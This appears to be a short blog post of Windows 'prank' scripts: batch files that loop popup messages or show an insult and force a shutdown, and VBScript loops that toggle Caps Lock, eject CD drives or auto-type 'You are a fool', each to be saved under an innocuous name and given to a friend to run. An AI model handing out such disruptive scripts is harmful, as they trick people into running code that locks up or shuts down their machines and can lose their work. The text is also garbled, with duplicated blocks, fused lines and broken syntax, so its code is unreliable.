1. Cycle a message in your friend's computer:
Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as Anything.BAT and give it to your friend. You can change the message and type your own message there.
Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as Anything.BAT and give it to your friend. You can change the message and type your own message there.
2. Convey your friend a lil' message and shut down his / her computer:
Type :
wx@echo off
msg * I don't like you
shutdown -c Error! You are too stuid! -sSave it as Anything.BAT and give it to your friend. You can change the message and type your own message there.
wx@echo off
msg * I don't like you
shutdown -c Error! You are too stuid! -sSave it as Anything.BAT and give it to your friend. You can change the message and type your own message there.
3. Toggle your friend's Caps Lock button simultaneously:
Type :
Set wshShell =wscript.CreateObject(WScript.Shell&
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}
loopSave it as Anything.VBS and give it to your friend. You can change the message and type your own message there.
Set wshShell =wscript.CreateObject(WScript.Shell&
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}
loopSave it as Anything.VBS and give it to your friend. You can change the message and type your own message there.
4. Continously pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Set oWMP = CreateObject(WMPlayer.OCX.7
Set oWMP = CreateObject(WMPlayer.OCX.7
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loopSave it as Anything.VBS and give it to your friend. You can change the message and type your own message there.
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loopSave it as Anything.VBS and give it to your friend. You can change the message and type your own message there.
8. Hack your friend's keyboard and make him type You are a fool simultaneously:
Type :
Set wshShell = wscript.CreateObject(WScript.Shell
Set wshShell = wscript.CreateObject(WScript.Shell
do
wscript.sleep 100
wshshell.sendkeys You are a fool.
wscript.sleep 100
wshshell.sendkeys You are a fool.
loopSave it as Anything.VBS and give it to your friend. You can change the message and type your own message there.
0 comments:
Post a Comment